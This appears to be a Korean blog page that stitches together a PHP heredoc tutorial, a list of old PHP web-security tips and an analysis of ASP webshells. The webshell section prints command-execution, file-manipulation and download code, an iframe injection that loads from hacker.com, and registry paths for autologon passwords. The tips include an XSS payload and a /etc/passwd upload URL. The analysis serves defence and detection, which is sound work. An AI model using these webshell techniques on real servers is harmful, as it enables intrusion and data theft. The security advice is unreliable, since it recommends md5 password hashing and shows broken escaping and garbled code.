Media Log

php 버전 4.0 이상부터 지원된다.
쌍따옴표나 홑따옴표를 사용하지 않고 문자를 통째로 묶어서 변수에 저장 할때 사용한다.
사용법은 <<< EOD를 선언해주고 EOD;로 닫아준다.
이 안에서는 쌍따옴표든 뭐든 그냥 써주면 된다. php 변수도 적용된다.


EOD는 EndOfDocument라는 의미의 축약형 심볼.

 

<?php $str =
<<<EOD Example of string spanning multiple lines using heredoc syntax. EOD; /* 변수도 사용된 좀더 복잡한 예제. */ class foo { var $foo; var $bar; function foo() { $this->foo = 'Foo'; $this->bar = array('Bar1', 'Bar2', 'Bar3'); } } $foo = new foo(); $name = 'MyName'; echo <<<EOT My name is "$name". I am printing some $foo->foo. Now, I am printing some {$foo->bar[1]}. This should print a capital 'A': \x41 EOT; ?>

*** 주의할점 ***
<<<EOD or EOT 뒤에 절대로 아무 글자도 와서는 안된다. 스페이스바도안된다.
끝날때 EOD or EOT뒤에도 절대오 어떤 글자도 와서는 안된다.

뛰어쓰기라도 들어가면 바로 에러구문이 뜬다. 
회원 인증 로그인 시스템 보안 


php.ini 에서 register_globals=off 하시면 , 일단 보안이 되구요. 
세션을 사용시 $_SESSION 이나 $HTTP_SESSION_VARS[] 형태로 사용하여야 합니다. 

왼쪽에 PHP4.1.1 아래 관련 게시물 주욱 보시면 됩니당 

글구 회원 비번은 md5() 로 암호화 하시구요. 쿠키는 사용하지 마세요. 
회원이 비번을 잊어 버렸을 경우는 회원 email 주소로 새로운 비번을 쏴주시구요. 

세션의 경우 회원id 세션과 회원 비번 md5 암호화 한 세션 , 2개 로 비교 하세요. 
회원 레벨..준회원..정회원..관리자 등이 있을 경우는 3개 로 비교 하시구요. 
1개 로만 절대로 비교 하시지 말구요 ! 

회원 정보 수정 시 form 에서 맨아래 무조건 회원 비번을 1번더 묻게 하시구요. ^^ 

register_globals=off  하셨나요? 
$_SESSION 은 PHP4.1.0 이상 입니다. 

세션의 경우는 /tmp 폴더에 저장 하시지 마세요. php.ini 에서 세션저장 장소를 바꾸세요.
session지시자 아래 있슴다. 
/tmp 는 너무 알려 져서 좋지 않습니다. ! 

register_globals=off 를 하지 않더라도..여러가지로 보안을 취할 수 있습니다. 
$REQUEST_METHOD 를 체크 하는 방법 하구요. 
$HTTP_REFERER 를 체크 하는 방법 하구요. 
PHP강좌 게시판에서 http 나 request 로 검색 하시구요. 왼쪽에 PHP 보안 메뉴 아래 쪽에 보세용 ^^ 

세션 생성시 $userid 를 생성 하고, $userpass=md5($userpass); 로 생성 해서, 
2개 값이 있는지 비교 하구요.. isset() 등으로 비교 하시는 것이 좋구요. 

$userpass 값은 32 자 인지 확인 하시면 됩니다. md5() 로 해슁 하면 32자가 됩니당. 

if((session_is_registered(username)) && (session_is_registered(user_id))) 
session_is_registered() 를 사용하시구요.. 

$pw 도 암호화 하세용..!!! 
비교는 

if($pw==md5($pw넘어온값) && isset($pw넘어온값)) 
이런식으로 체크 하시구용...^^ 

좀더 고심해 보시고 응용해보세요 ^^ 


$tpass=md5("pw008"); 
if(($id == "id007") && (md5($pw) == $tpass) && isset($pw) && isset($id)){ 

이런 식으로 ^^ 







★ zend encode 를 사용하지 않고 PHP 소스 안보이게 하는 방법 ?


PHP는 인터프리터 언어 입니다. 컴파일하지 않기 때문에 소스가보일 수 가 있습니다. 
물론 어렵겟죠...일반적으로 보안이 되어 있기 때문에 보이지는 않습니다. 

그렇다면 ,PHP 소스를 안보이게 하거나 보안을 하게 하는 방법은 ? 
컴파일 하지 않고 , PHP 소스 보안을 유지 하는 방법은 ? 

들여 쓰기 를 사용하지 않고, 변수명도 어렵게 하는 것 입니다. 
남들이 소스를 보기에 짜증나게 하는 것이죠....ㅋㅋㅋ 

머..이딴 소스를 만들었나 ? 싶을 정도로 짜증나게 만들면 보지 않을 검당...ㅋㅋㅋ 

PHPBuilder.com 읽다가 약간 번역 한 것임당...ㅌㅌㅌ 

http://www.phpbuilder.com/forum/read.php3?num=2&id=139250&thread=139219 


또는 http://pobs.mywalhalla.net 
를 사용하세요. 소스를 아래 처럼 만들어 버립니다. 우왕...어지러버요....해킹 불가 !!!  ㅋㅋㅋ 
읽어 보니...인간이 읽기에 힘든 편집으로 만든다 라고 적었네요... 

<?php 

include("pobs-ini.inc"); 
echo 
"<HTML><HEAD><TITLE>POBS - A PHP Obfuscator</TITLE><STYLE TYPE='text/css'>";echo "td { 
font- 
family: 
Verdana, sans serif;font-size:"
.$V24b02965."pt;  vertical-align: 
top; }"
;echo "</STYLE></HEAD><BODY>"
define("C00529ab2""<TD VALIGN=TOP>");define("C4d89b09c""<TD BGCOLOR=#6699CC 
VALIGN=TOP>"
);define 
("C5481f31d""<TD BGCOLOR=#E6E6E6 VALIGN=TOP>");define("C9c3b8e37""<TR>");define 
("Cd742068d""</TR>");define("Cdabce349""</TD>");define("C6faee0d5""</TABLE>"); 
if (
$PAF85580fcb(); 
$V9429cf94=time(); 
$Vf797b56c=0;$V048f0047=0
$Vbc961c59=array();$Vb787292f=array();$V4cb73b6b=array();$Vae809e1a=array(); 
$V4a949e17=array();$Va7254761=array();$Vd74f666d=array(); 
if (
$PAF23da1c4c();else Fb72cca71(); 

?> 




★ 파일 업로드 보안 문제 - 7 가지 모두 체크 !!!


1.php,inc,html,htm,phtml,php3 등의 확장자는 절대로 올릴 수 없게 한다 ! 
.txt 도 못올리게 합니다. .txt 를 사용해서 쿠키를 훔칠수도 있슴다. 


2.업로드 디렉토리는 무조건 htdocs 아래 말고 다른 디렉토리 에 올린다 !! 
/updir 이나 c:\updir 등 htdocs 와 관련이 없는 디렉토리에 올리게 한다. !! 

3.CP명령을 사용시에 exec(cp $file , 처럼 exec() 를 절대로 사용하지 말아야 한다. 
기냥 cp()만을 사용하라 !!! 
www.php.net/cp 

4.REQUEST_METHOD!="POST" 로 체크 해서 올리기 
POST 가 아닐 경우 올리지 못하게 !!! 
form 에서 method=get 으로 절대 절대 하지 마세요 !!! 
php.ini 에서 register_globals=off 라면 
$HTTP_SERVER_VARS['REQUEST_METHOD'] 로 출력 해야 합니당..ㅋㅋㅋ 


<?php 

if ($submit) { 
    if (
$REQUEST_METHOD == 'POST') { 
        
// 정상 실행 
    

    else { 
         echo 
'get 값은 받지 않아요 !!'
    } 
else { 
    echo 
'훔....잘못된 입력 !!!'


?> 

5.파일명이 pass 나 shadow 나 리눅스 시스템 파일일 경우는 올리지 못하게 하기 위해 
파일명 중에 pass 나 shadow 등이 있을 경우 올리지 못하게 !!! 
그러니까 koreapass.zip 파일 같은 것도 올라가지 않겟죠 ^^ 
그래도 보안을 위해서라면 ^^ /etc/passwd 파일(리눅스 파일)의 업로딩을 방지 합니다.

그러니까 upload.php 파일을 이용하여 주소표시줄에서 
upload.php?file_name=/etc/passwd&file_type=text&file_size=30 
등으로 해서 해킹할 시스템의 passwd 파일을 자료실에 올리고 다운 받을 수 있다고 합니다. 
그래서 취한 조치 입니다. 

6.또는 file_exists($file_name) 를 사용하여 체크 합니다. 로컬시스템에 파일이 있으면 절대 못올리게 
합니다 ^^ /etc/passwd 파일의 업로딩을 방지 합니다. 




7. PHP 4.1.2 최신 버전 말고는 모두 파일 업로드 버그가 존재 한다고 합니다.

PHP4.1.2 버젼 설치 하세용 !!!





★ HTML 태그를 막기  



htmlspecialchars() 를 사용하시지 말고, str_replace 로 직접 변환하세요 !!! 

<?php 

function cleanup($copy

    
$copy=trim($copy); 
    
$copy=htmlspecialchars($copyENT_QUOTES); 
    
$copy=eregi_replace ("%""&#37;"$copy); 
    
$copy=eregi_replace ("<""&lt;"$copy); 
    
$copy=eregi_replace (">""&gt;"$copy); 
    
$copy=eregi_replace ("&amp;""&"$copy); 
    
$copy=nl2br($copy); 
    
$copy=StripSlashes($copy); 
    return(
$copy); 

?> 

<scripts> 도 당근 막아야 하구요 
<table> 도 당근 막아야 합니다. 






★ HTML태그와 자바스크립트 사용 못하게 한다면?


HTML과 자바스크립은 뚫립니다. 쿠키 까지 알아 낼 수 도 있습니다. 
콤포넌트를 사용한 방식이 라도 안됩니다. 
hotmail.com 에서 장난 쳐서 보낼 수 도 있습니다. 

무조건 태그는 막는것이 좋습니다. 
그러나 대부분의 사용자는 모르고 있죠. 글서 보통 허용하는 것이 일반적 입니다. 
그러나 허용을 하더라도 <script> 등의 소스나 <a> 태그 외에 <a onmouse~> 등의 태그는 안됩니다. 
무자게 생각할 것이 많고 적용할 소스가 많습니다. 

아싸리 막아 버리세요. 

일단 막고 등으로 사용하게 하는 것이 좋습니당. !!! 






★ 반드시 회원의 비밀번호는 md5() 나 mhash 유틸리티의 암호화 알고리즘을 사용하여 저장 하세요 ^^


그리고 회원 정보 수정이나 중요사항 변경시, 쇼핑몰 결재시에는 반드시 
회원의 비밀번호를 한번더 물어 보고, 디비와 비교해서 통과 시키 세요 !! 

◆◇ 회원 정보 수정시 , 수정할 것들 맨아래 에 비밀번호 입력란을 만들면 됩니다 ^^ 

회원 비밀번호 찾기의 경우 , md5() 를 사용하면 바로 웹에서 찾을 수 없습니다. 
회원이 비밀번호를 분식했을 경우, 사용자 메일로 새로운 비번을 만들어서 보내는 알고리즘을 
사용하세요 !! 

주민등록 번호의 경우 수정시 라도 보여 주지 않는 것이 좋습니다. 
input text 박스만 보여 주고 옆에  731111-******* 이런식으로 명시 하시는 것이 좋습니다. 










★ *.inc 파일로 저장 하지 마십시오.


바로 브라우져에서 보일 수 있으며 간단한작동 만으로 데이터베이스 패스를 
볼 수 있습니다. 

파일명을 저장 하시려거든 , *.inc.php 로 하세요. 

물론 Apache 에서 Addtype 에서 .inc 를 추가 하면 됩니당..^^ 






★phpinfo() 를 숨겨라...      

   
phpinfo() 의 경우 시스템의 구성 상황을 비교적 쉽게 해커에게 알린다고 합니다. 
물론 phpinfo() 때문에 해킹 당하지는 않겟지만.. 해킹에 도움이 된다는 것이죵... ^^ 

되도록 이면 

test.php 에서 

<?php 
     phpinfo
(); 
?> 

를 사용하시고 바로 지워 주세요... 
검색엔진에서 검색하면 많은 phpinfo() 를 볼 수 있거든요... 


http://www.google.com/search?q=phpinfo 

다 설치 하고 test 를 했다면 지우세용 ^^ 




★PHP오류를 적에게 알리지 말라!      

   
PHP오류가 날 경우 역쉬 경로가 적(크래커) 에게 발견이 됩니다. 
오류를 아싸리 안보여 지게 설정 하는 것도 좋은 방법 입니다. 

php.ini 에서 설정 이 있는뎅...php.ini 찾아 봐야 함당.. 
지금 날밤 새서리...담에 찾죠 
찾아 보셍 ^^ 

  



★ 쿠키 보다는 세션을 사용하세요 !!!


★★ 세션 보다는 Auth 인증을 사용하세요 !!! 

쿠키는 해킹이 무자게 쉽다고 합니다. 
세션을 되도록이면 사용하세요 !!! 
세션을 사용하시되, session_set_save_handler() 를 사용하여 세션을 md5() 로 암호화 하고 
저장 하세요 ^^ 

세션을 사용할때 /tmp 폴더에 저장 하지 말라고 합니다 !!! 
반드쉬 mysql 에 저장 하세요 !!! 


Auth 인증  << 세션 <<<<<< 쿠키 
Auth 인증 이 가장 강력한 보안 체계 입니다. !!! 
http://www.zend.com/zend/tut/authentication.php 
http://download.php.net/manual/en/features.http-auth.php 

auth 강좌는 PHP강좌 게시판에서 auth 로 검색하세용 !! 






★ 세션 쿠키값 - 보안 로그인 시스템 ◆◆


$userid 
형태로 사용하시지 말고 

세션일 경우 _SESSION 이나 (PHP4.1.0) , HTTP_SESSION_VARS[] 를 사용하세요. 
쿠키도 마찬가지 , PHP4.1.0 에서 약간 바뀌었으니 PHP강좌 게시판 검색하세용.!! php 로 !! 


if((session_is_registered(username)) && (session_is_registered(user_id))) 

if (!isset($memberid) && !isset($PHPSESSID)){ 
     
session_is_registered() 나 isset() 는 반드쉬 사용해야 합니다. 
<?php 
function check_session() { 
    
session_start(); 

    if (
session_is_registered(user_id)) { 
        return 
TRUE
    } else { 
        
header("Location: login.php"); 
        exit; 
    } 

?> 

그리고 if 문에서 비교는 반드쉬 1개 이상으로 비교 하세용 !!! 

session_start(); 

if(!isset($sid) || empty($sid)) // $sid 는 세션 값.. 

<?php 
// 반드시 register global=off 로 설정 하시고 아래 처럼 하세요. !! 
// PHP4.1.0 이상 부터는 $_SESSION[type] 입니다. 
// ◆◇◆◇◆◇ 세션변수를 $session_name 등으로 절대루 사용하지 마세용 !!!◆◇◆◇◆◇ 
session_start(); 

if(!isset(
$HTTP_SESSION_VARS[type])) 

  
header("Location: log-in.php"); 

?> 









★쇼핑몰이나 e-커머스 사이트는 반드시 SSL 를 사용하라.


apache 리눅스나 유닉스 경우는 openSSL 를 사용할 수 있습니다. 
윈도우는 잘 모르겠습니다. 
openSSL 를 반드시 사용하세요 ^^ 
http://www.openssl.org 

웹에서 https// 로 시작 하는 것들이 SSL 입니다. 
인증 사이트 가시면 보실 수 있을 것 입니다.  msn 만 해도..메일 확인 하려 하면.. 
보안을 해제 하려고 합니다..그러면서 https 로 가죠..^^ 






★ PHP에서 mysql 연결시 계정을 만들어 사용하라 !!!


config.inc.php 

<?php 
  $db_user 
"root"
  
$db_pass "xxxx";  // root 비밀번호 
?> 


PHP파일에서 config 파일에서 종종 root 로 mysql 에 연결 하는 경우가 있다. 
되도록이면 root 는 사용하지 말아야 한다. 

root 로 사용할 경우 , PHP 소스가 보일 경우 데이터베이스는 모두 지워진 것이나 다름이 없기 때문이당.. 
root 가 아닌 특정 사용자 계정을 만들고 권한을 부여 해라 !! 

root 의 비번은 어느곳이든 지 간에 쓰지 않는 것이 최상이다 !!! 
소스 자료실에 mysql 계정 설정 권한 설정 하기 파일이 존재 한다. doc 파일임.. 
그것을 보고 반드쉬 임의 계정을 만들어서 사용하라 !!  디비가 지워지고 싶지 않으면 !!! 


현명한 config.inc.php 

<?php 
  $db_user 
"tood"
  
$db_pass "xxxx";  // tood 비밀번호 - 임의 사용자 비번 
?> 

또는 

<?php 
  $db_user 
"toodtood"
  
$db_pass decode_passwd("sddsdsds21912012dslsdl");  // tood 비밀번호 - 임의 사용자 비번 
?> 

decode_passwd() 란 함수를 만들어 PHP모듈에 탑재하는 것임당.. 
그러면 좀더 낫지 않을 까요 ? ㅋㅋㅋ 
PHP 모듈에 탑재하는 방법은 www.php.net 을 보세용..저두 해보지 않아서 ^^ 









★반드쉬 알아야 할 PHP보안 함수 - 쓰기전에 반드쉬 보안을 생각해야 할 함수 12 가지 !


www.php.net/md5 
www.php.net/crypt 
www.php.net/base64_encode 
www.php.net/base64_decode 
www.php.net/session_is_registered 
www.php.net/isset 

system() 
exec() 
"backticks" 
passhru() 
opendir() 
escapeshellcmd() 

반드쉬 숙지 하세용 !! 






★ safe mode 를 사용하라


php.ini 에 보면 safe mode 설정이 있습니다. 

safe_mode 를 On 하고 ,소유자가 nobody 인지 다른 사용자가 되는지 테스트 해보세요 ^^ 
계정이 여러개 일때 좋습니다. 

php.ini 중에서 일부 

; Safe Mode 

safe_mode = Off 

safe_mode_exec_dir = 







PHP소스 안보이게 


(1) avoid using .inc files; use .php files like for normal script 
.inc 보다는 .inc.php 로 저장 하기 ! 
httpd.conf 
<Files ~ "\.inc$"> 
    Order allow,deny 
    Deny from all 
</Files> 


(2) turn Indexes directive to off by default per website 
httpd.conf 에서 Indexes 지우기 -> index.html 파일이 없을 경우 디렉토리 아래 죄다 보임 ! 

(3) make directories 711 instead of 755 
(4) develop an organized php scripts structure outside DocumentRoot and 
place the files that you will eventually include in an "include" 
sudirectory within that structure 
(5) review changes all the time, check your weblogs and be vigillent :-) 






PHP 에러 출력 안하기  [combel 님 제공] 


간단합니다. 
그렇지만 보안을 위해서는 필수겠죠. 
php.ini의 Error_Handling 부분에서 display_errors = Off 로 설정해 주시면 됩니다. 
에러가 나더라도 빈 화면만 뿌려주죠 ^^; 
php 4.1.x 버전에서는 보안을 위해서 off 시키는 것을 추천하고 있습니다. 

투덜이 comment -> 오류가 보여지면, apache 디렉토리 위치 나 htdocs 디렉토리 위치가 보이게 됩니다. 




HTML 일부만 허용 하기와 보안


Example 1. strip_tags() example 
$string = strip_tags($string, '<a><b><i><img>'); 

$string 에서 <a><b><i><img> 태그만 허용 하고 나머지는 막는 것입니다. 
htmlspecialchars() 보다 유용하네요. 

그런데 문제가 존재 합니다.<b> 태그를 허용 할 경우... 
<b onmouseover="for(i=0;i<50;i++)window.open('www.porn.com');">tood.net 미오!</b> 

이런 문장을 쓸 경우 문제가 됩니다..ㅋㅋㅋ 
만약  i 를 5000000 까지 한다면... 헐.... 

<b onmouseover="for(i=0;i<500000000;i++)window.open('www.porn.com');">tood.net미오!</b> 
글구 <a> 태그를 허용해도 <a href="" target=""> target 는 허용이 되지 않습니다..ㅋㅋㅋ 짭.. 




location.replace 인증 부분 - 초짜 님 제공(jcorn***@hanmail.net) 


음 넘 초보적인 방법이지만 그래두 함 적어보겠습니다. 
만약 게시판에 관리자 모드가 있다면...그 곳많은 보안이 상당히 많이 필요하겠지염. 

보안을 위해서 이런 저런 방법을 많이 사용하실테구염. 
사용하시는 방법에 아주 간단한 자바스크립트를 추가 하신다면 좋을 듯 합니다. 

function goto_page($url) { 
    echo "<script> location.replace(".$url."); </script>"; 


보안이 조금이나마 필요한 부분에선 이 함수를 사용해서 이동했던 페이지들을 히스토리에서 삭제를 하는 것이지 
요... 

가끔 어떤 곳에서 로그아웃을 했더라구 뒤로가기 버튼을 클릭하면 이전 페이지가 나오는 것을 많이 목격하고 위 
에 함수를 많이 사용하게 되었습니다. 

위 처럼 하시면 로그 아웃 후에 뒤로가기 버튼을 눌러두 이전 페이지가 아닌 잴 처음 화면으로 가게 되지염. 
모두 아시는 것을 올려서 죄송하구염...ㅡㅡ; 그래두 모르는 분들이 계실것 같아서...좋은 뜻으로 올렸씁니 
다..^^ 
그럼 모든 분들 좋은 하루 되시길....빌며 이만.... 






스팸 봇이 여러분의 email주소를 


스팸 봇이란 넘이 있어서 여러분들의 email 주소를 긁어 갑니다. 
그러니까 게시판에서 <a href=mailto: ~ > mailto 부분의 email 주소를 긁어 갑니다. 

거기에 사용되는 email 주소는 base64 나 md5() 로 암호화 하세요 ^^ 

◈보안◈ 스팸메일 추출기 or 게시판 자동 로봇       
http://www.tood.net/tood/toodboard/toodread.php?board=tootech&tcode=1005 





PHP 확장자 숨기기 


PHP 확장자는 마음대로 변경 하여 사용하 실 수 있습니다. 

아래는 윈도우에서 httpd.conf 파일 입니다. 물론 리눅스도 AddType 부분은 동일 합니다. 
LoadModule php4_module c:/php/sapi/php4apache.dll 
AddType application/x-httpd-php .tood .tgp .cal .html .htm .include 

위에 처럼 설정 하면 
.tood .tgp .cal .html .htm .include 파일에서 PHP 를 사용할 수 있습니다. 
확장자만 가지고는 이 사이트가 PHP 기반인지 알 수 없습니다. 
물론 알 수 있는 방법은 많죠..그러나 단지 접속 해 보고는 알 수 없습니다. 

index.tgp 파일...이상하게 생각 할것 입니다..이게 먼 확장자 이지?  ^^ 





세션 보안 최적화  !trans_id  


PHP counfigure 시에 세션 보안 방법 입니다. trans_id 옵션 보시면 됩니다. 
재설치 하셔야 합니다. 

http://www.tood.net/tood/toodboard/toodread.php?board=tootech&tcode=1070 
ASP 웹쉘 상세 분석 및 탐지 방안

1. 개 요

가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.

공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.

나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.

웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.

피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.

[그림] 웹쉘 백신탐지 결과

또한 일반적인 서버관리자들은 해킹여부를 확인하기 힘들고 피해를 인지하더라도 관리자들이 주로 사용하는 백신 프로그램에서 웹쉘 탐지가 안 되므로 웹쉘을 찾기가 쉽지 않다. 관리자들이 해킹 피해를 인지하고 시스템을 재설치 하더라도 이전에 웹쉘이 업로드 되어 있는 소스 그대로 새롭게 설치한 시스템에 복사하여 사용하기 때문에 지속적으로 웹쉘을 관리하는 공격자에게 피해를 입게 된다.



다. 웹쉘 최신 동향
o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.

[그림] 웹쉘 사용자 인증

o ASP의 eval, execute 메소드 등은 원격에 있는 공격자로부터 웹쉘 실행코드를 전달 받아 실행 하는데 많이 이용되고 있다. 이 같은 Eval, Execute 코드는 정상적인 스크립트 파일에도 삽입이 가능해 웹쉘 탐지가 더욱 어려워지고 있다.

o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.

o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.

o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.

[그림] 웹쉘 관리 프로그램

2. ASP 웹쉘 상세 분석
최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.

가. 각 기능별 웹쉘 분석

■ 명령어 및 각종 어플리케이션 실행
ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.

o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (“WScript.Shell”)
Call WshShell.Run (cmd, 0, True)
Set WshShell = CreateObject (“WScript.Shell”)
Set oExec = WshShell.Exec (cmd)


시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.

o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1

set objShell = CreateObject(“Shell.Application”)
objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1


■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.

o Scripting.FileSystemObject
- 파일 리스팅

Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.GetFolder(folderpath)
Set fp = f.Files
For Each f1 in fp
s = s & f1.name
Next


- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.

Set f = fso.OpenTextFile(“c:\testfile.txt”)
ra = f.ReadAll


- 파일 생성 및 수정

Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True)
MyFile.Write Contents


- 파일 이동 및 삭제

fso.CopyFile Path1, Path2
fso.CopyFolder Path1, Path2
fso.DeleteFile Path
fso.DeleteFolder Path


■ 파일 다운로드
o Adodb.Stream

Set stream = Server.CreateObject”Adodb.Stream”)
stream.Open
stream.Type = 1
stream.LoadFromFile(Path)
Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName
Response.AddHeader “Content-Length”, stream.Size
Response.Charset = “UTF-8”
Response.ContentType = “application/octet-stream”
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing


■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile

■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.

o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <iframe src=http://hacker.com/m.htm width=0 height=0></iframe>

◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다.
Set regEx=New RegExp
regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b”
regEx.IgnoreCase=True
retVal=regEx.Test(path)

◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다.
Set fs=Server.createObject(“Scripting.FileSystemObject”)
Set f=fs.GetFile(path)
Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다
f_addcode.Write “<iframe src=http://hacker.com/m.htm width=0
height=0></iframe>”
f_addcode.Close


■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.

Set Con = Server.CreateObject(“Adodb.Connection”)
Con.Open “Provider=SQLOLEDB;Data
Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD”
SQL = “SELECT * FROM table”
Set RS = Con.Execute(SQL)


■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.

※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.

- 터미널 서비스 포트, PortNumber 키 값 변경
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
- 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름
(DefaultUserName)과 패스워드(DefaultPassword)를 확인
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
- 컴퓨터 이름 확인
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
- 익명 사용자 접속 여부 및 공유 정보 확인
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
redNetDrives
- 보안 필터링 및 포워딩 여부 확인
HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
- 네트워크 카드 정보 확인
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind


■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.

o 서비스 확인

Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”)
ComputerObj.Filter = Array(“Service”)
For Each Service in ComputerObj
WScript.Echo “Service display name = “ & Service.DisplayName
WScript.Echo “Service account name = “ & Service.ServiceAccountName
WScript.Echo “Service executable = “ & Service.Path
WScript.Echo “Current status = “ & Service.Status
Next


o 사용자 정보확인

Set objComputer = GetObject(“WinNT://.”)
objComputer.Filter = Array(“User”)
For Each objUser in objComputer
WScript.Echo objUser.Name
Next


■ 어플리케이션 취약점을 통한 로컬 권한상승

